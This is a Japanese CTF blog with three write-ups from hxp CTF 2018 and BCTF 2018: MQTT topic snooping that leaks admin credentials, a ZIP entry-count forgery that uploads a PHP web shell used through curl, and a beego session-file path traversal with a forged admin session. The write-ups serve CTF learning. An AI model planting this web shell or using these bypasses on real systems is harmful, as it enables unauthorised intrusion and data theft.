こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

hxp CTF 2018 Writeup - time for h4x0rpsch0rr?

問題文

Finally a use case for those internet tingies!
Connection:

http://159.69.212.240:8001/f:id:graneed:20181209111400p:plain

writeup

フッターに、/admin.phpへのリンクがある。
/admin.phpには、User、Password、OTPの入力項目。
OTPはOne Time Passwordの意味だろうか。
SQLiの脆弱性は無さそう。

トップに戻って機能を確認すると、MQTT over websocketで通信をしていることがわかる。

<script src="mqtt.min.js"></script>
<script>
  var client = mqtt.connect('ws://' + location.hostname + ':60805')
  client.subscribe('hxp.io/temperature/Munich')

  client.on('message', function (topic, payload) {
    var temp = parseFloat(payload)
    var result = 'NO'

    /* secret formular, please no steal*/
    if (-273.15 <= temp && temp < Infinity) {
      result = 'YES'
    }
    document.getElementById('beer').innerText = result
  })
</script>

以下ページを参考に、pythonでMQTTの通信プログラムを作る。

IoT時代のプログラミング(主にMQTTについて) - Qiita

MQTT over websocket in python - Stack Overflow

import paho.mqtt.client as mqtt

def on_connect(client, userdata, flags, respons_code):
  print('connected')
  client.subscribe('hxp.io/temperature/Munich')

def on_message(client, userdata, msg):
  print(msg.topic + ' ' + str(msg.payload))

client = mqtt.Client(transport="websockets")
client.on_connect = on_connect
client.on_message = on_message
client.connect('159.69.212.240', 60805, keepalive=60)
client.loop_forever()

実行する。

# python sub1.py 
connected
hxp.io/temperature/Munich b'13.37'
hxp.io/temperature/Munich b'13.37'
・
・
・

疎通できた。

次に、どういったtopicが配信されているか確認する。

mosquitto - How do I subscribe to all topics of a MQTT broker - Stack Overflow

subscribe関数の引数に#を指定すると、全てのtopicを受信できるようだ。

しかし、hxp.io/temperature/Munich以外、特にtopicを受信できない。

Googleで調べると、$SYSなどの$で始まるtopicは、#の指定では受信できないようだ。 よって、subscribe関数の引数に$SYS/#を指定して再実行する。

# python sub3.py 
connected
$SYS/broker/version b'mosquitto version 1.4.10'
$SYS/broker/timestamp b'Wed, 17 Oct 2018 19:03:03 +0200'
$SYS/broker/uptime b'120032 seconds'
(snip)
$SYS/broker/load/connections/1min b'15.65'
$SYS/broker/load/connections/5min b'14.97'
$SYS/broker/load/connections/15min b'16.50'
$SYS/broker/log/M/subscribe b'1544300880: 8dfc1754-7bc9-4f54-941c-87301580522a 0 $SYS/#'
$SYS/broker/log/M/subscribe b'1544300881: db7d1b52-8f48-4ae9-aeb2-89e716b327ff 0 $internal/admin/webcam'

$internal/admin/webcamという興味深いtopicを発見。 試しに受信してみると、JPGファイルのバイナリのようなデータを受信した。

ファイルに出力してみる。

import paho.mqtt.client as mqtt

def on_connect(client, userdata, flags, respons_code):
  print('connected')
  client.subscribe('$internal/admin/webcam')

def on_message(client, userdata, msg):
  print("message receive")
  f=open("webcam.jpg","wb")
  f.write(msg.payload)
  f.close()

client = mqtt.Client(transport="websockets")
client.on_connect = on_connect
client.on_message = on_message
client.connect('159.69.212.240', 60805, keepalive=60)
client.loop_forever()
# python sub4.py 
connected
message receive
message receive
・
・

f:id:graneed:20181209112021j:plain

Username、PasswordとRSA SecurIDハードトークンの画像。
/admin.phpにログインするとフラグをゲット。

hxp{Air gap your beers :| - Prost!}

hxp CTF 2018 Writeup - unpack0r

問題文

unpackbar
Connection:
http://195.201.136.29:8087/

f:id:graneed:20181209104244p:plain

writeup

zipファイルをアップロードすると、ファイル名をチェックして解凍するプログラム。
^[a-z]+$正規表現でチェックされている。
例えば、.phpのファイルを圧縮してアップロードしても、.がチェックにかかるためNG。

ファイル名のチェックはPHPのZipArchive、解凍はunzipコマンドを使用している。
2つの方式の差異を突く問題だろうか。

$zip->numFilesで、zipファイルが含むファイル数を取得してから、各ファイル名をチェックしている。
$zip->numFilesを偽装すれば、ファイル名のチェックをバイパスできそうだ。

以下のサイトでzipファイルのフォーマットを確認する。

ZIP書庫ファイル フォーマット - 略して仮。

End of central directory recordに、ファイル数を表記する項目がある。

  • total number of entries in the central directory on this disk
  • total number of entries in the central directory

適当なファイルとPHPのWebShellのファイルをzip圧縮して、上記2項目を改ざんする。

# cat aaa 

# cat bbb.php 
<?php
if($_GET['cmd']) {
  system($_GET['cmd']);
  }
?>

# zip test.zip aaa bbb.php
  adding: aaa (stored 0%)
  adding: bbb.php (deflated 20%)

バイナリエディタで変更する。 f:id:graneed:20181209110420j:plain

アップロードしてみる。

# curl http://195.201.136.29:8087/ -F zip=@test.zip
files/3eb1af474397643ae8f854de815d4c6933aa5f549a1c74d87b231677a4493336

アップロードできた!

あとはWebShellのphpを使ってファイル探索するだけ。

# curl http://195.201.136.29:8087/files/3eb1af474397643ae8f854de815d4c6933aa5f549a1c74d87b231677a4493336/bbb.php -G -d "cmd=ls"
aaa
bbb.php

# curl http://195.201.136.29:8087/files/3eb1af474397643ae8f854de815d4c6933aa5f549a1c74d87b231677a4493336/bbb.php -G --data-urlencode "cmd=ls ../../../../../"
bin
boot
dev
etc
flag_IVSbATTqgejx9Hn2berSknRO.php
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

# curl http://195.201.136.29:8087/files/3eb1af474397643ae8f854de815d4c6933aa5f549a1c74d87b231677a4493336/bbb.php -G --data-urlencode "cmd=cat ../../../../../flag_IVSbATTqgejx9Hn2berSknRO.php"
<?php
'hxp{please_ask_gynvael_for_more_details_on_zips_:>}';

フラグゲット。
hxp{please_ask_gynvael_for_more_details_on_zips_:>}

BCTF 2018 Writeup - checkin

問題文

this is a checkin challange!
http://47.95.195.16:9999

f:id:graneed:20181128002808p:plain

writeup

まずは画面と機能を調査する。

  • Register
    name、gender、username、email、passwordを入力してアカウントを登録する画面。

  • Login
    usernameとpasswordを入力してログインする画面。

  • Articles
    皆が書いた記事を閲覧できる画面。 既に、他のプレイヤーによって投稿されたXSSやSQLiを狙ったコードが多数あるが、きちんとエスケープされている。

アカウントを登録してログインする。 f:id:graneed:20181128003843p:plain

ログイン後、以下のメニューが選択可能となる。

  • update your profile f:id:graneed:20181128004033p:plain
    Descriptionのテキストの変更と、Avator画像をアップロードできる画面。
    試しにアップロードをしてみると、以下のメッセージが返却された。
the avatar saved to /go/src/github.com/checkin/website/static/img/avatar/VsxipLGgeRuvUHRuQEjy.jpg
  • Publish New Article f:id:graneed:20181128004348p:plain
    TitleとContentを入力して投稿可能な画面。
    試しに、<>"'&#\といった記号を入力してみたが、きちんとエスケープされている。

一通り、画面機能を確認した後、適当にhttp://47.95.195.16:9999/hogeにアクセスすると404エラー。 f:id:graneed:20181128004754p:plain
Powered by beego 1.7.2の表示。
go言語のフレームワークであるbeegoを使用しているようだ。

beego.me

beegoの最新バージョンは v1.10.0。
よって、v1.7.2からv1.10.0の間に修正された脆弱性が攻略の糸口であると予想する。

リリースノートを見てみる。
Release Notes - beego: simple & powerful Go app framework
v1.7.2も載っていないし、どうやら全量載っていないようだ・・・。

gitからリポジトリをダウンロードして、commit logを追いかけることにする。
GitHub - astaxie/beego: beego is an open-source, high-performance web framework for the Go programming language.

Security関係の修正に着目して読み進めると、以下のcommit logを発見した。

commit 8391d26220d380b9c084ee425af0d3ba30dcc3ab
Merge: f64e6b7 9865779
Author: astaxie <xiemengjun@gmail.com>
Date:   Thu Nov 8 23:21:18 2018 +0800

    Merge pull request #3383 from LockGit/develop
    
    security question, fix arbitrary file read

#3383のプルリクを確認する。
github.com

beegoはセッション情報をファイルシステムやDB等、いくつかの形式で管理可能。
ファイルシステムで管理している場合に、sessionidに../<PATH>をセットすると、<PATH>で指定したファイルをセッション情報としてロードさせて成りすましができるようだ。

Avatorの画像をアップロードした際にファイルパスが表示されたことを思い出す。これを使うに違いない。

まずは、適当なsessionidをセットするとログイン画面が表示されることを確認した。

その後、Cookiegosessionid=../go/src/github.com/checkin/website/static/img/avatar/VsxipLGgeRuvUHRuQEjy.jpg をセットしてみる。

f:id:graneed:20181128010355p:plain

Service Unavailableのエラーになった! ../の指定によるファイルのロードは成功し、セッション情報のデコードに失敗してエラーになっているようだ。

よって、beegoがロード可能なセッション情報のファイルを作成して、アップロードすればよさそうだ。

なお、go言語を触ったことがなかったため、環境構築から開始した。
また、お作法がわからないため、体当たりでパッケージインストール。
pythonでいうvenvのような機能はあったのだろうか。

$ apt-get install golang
$ go get github.com/astaxie/beego/session

sessionパッケージのtestコードを参考にしながら、セッション情報の生成コードを書いてみる。

package main

import (
    "github.com/astaxie/beego/session"
    "log"
)

func main() {
    s := make(map[interface{}]interface{})
    s["username"] = "admin"
    s["UID"] = 1
    encoded_s, err:= session.EncodeGob(s)
    if err != nil {
        log.Fatal(err)
    }
    log.Printf("%v", encoded_s)

    decoded_s, err := session.DecodeGob(encoded_s)
    if err != nil {
        log.Fatal(err)
    }
    log.Printf("%v", decoded_s)
}

実行する。

root@kali:~/Contest/BCTF2018# go run PoC.go 
2018/11/28 01:18:34 [14 255 129 4 1 2 255 130 0 1 16 1 16 0 0 61 255 130 0 2 6 115 116 114 105 110 103 12 5 0 3 85 73 68 3 105 110 116 4 2 0 2 6 115 116 114 105 110 103 12 10 0 8 117 115 101 114 110 97 109 101 6 115 116 114 105 110 103 12 7 0 5 97 100 109 105 110]
2018/11/28 01:18:34 map[UID:1 username:admin]

UID:1、username:adminのセッション情報ができた。
これをファイル化する。

面倒くさいためCyberChefでパパっと作る。 https://gchq.github.io/CyberChef/#recipe=From_Decimal('Space',false)&input=MTQgMjU1IDEyOSA0IDEgMiAyNTUgMTMwIDAgMSAxNiAxIDE2IDAgMCA2MSAyNTUgMTMwIDAgMiA2IDExNSAxMTYgMTE0IDEwNSAxMTAgMTAzIDEyIDUgMCAzIDg1IDczIDY4IDMgMTA1IDExMCAxMTYgNCAyIDAgMiA2IDExNSAxMTYgMTE0IDEwNSAxMTAgMTAzIDEyIDEwIDAgOCAxMTcgMTE1IDEwMSAxMTQgMTEwIDk3IDEwOSAxMDEgNiAxMTUgMTE2IDExNCAxMDUgMTEwIDEwMyAxMiA3IDAgNSA5NyAxMDAgMTA5IDEwNSAxMTA

アップロードして返却されたファイルパスをCookieのgosessionidにセットし、プロフィール画面を表示する。

f:id:graneed:20181128012858p:plain
ビンゴ!Admin Panelのリンクがある。

f:id:graneed:20181128012925p:plain
フラグゲット!
bctf{Y0Uu_H4CK3d_A_B33G0_W3bs1t3?}

なお、curlで実行する場合は以下の通り。

root@kali:~# curl http://47.95.195.16:9999/profile/1/show -H "Cookie: gosessionid=../go/src/github.com/checkin/website/static/img/avatar/DhksBPTfwdFFZxXihuyD.jpg"
<!DOCTYPE html>
<html>
<head>
(snip)
<div class="container">
    <main-menu elements=""></main-menu>
    <div id="desktop-header-content"></div>
    <h1>Welcome to you account</h1>
    <h2>your "username" is "admin" you user "UID" is: "1"</h2>
    <a href="/profile/1/update">update your profile</a><br/>
    
    <a href="/admin_panel">Admin Panel</a><br/>
(snip)

root@kali:~# curl http://47.95.195.16:9999/admin_panel -H "Cookie: gosessionid=../go/src/github.com/checkin/website/static/img/avatar/DhksBPTfwdFFZxXihuyD.jpg"
<!DOCTYPE html>
<html>
<head>
(snip)
<div class="container">
    <main-menu elements=""></main-menu>
    <div id="desktop-header-content"></div>
welcome.<br/>
bctf{Y0Uu_H4CK3d_A_B33G0_W3bs1t3?}
(snip)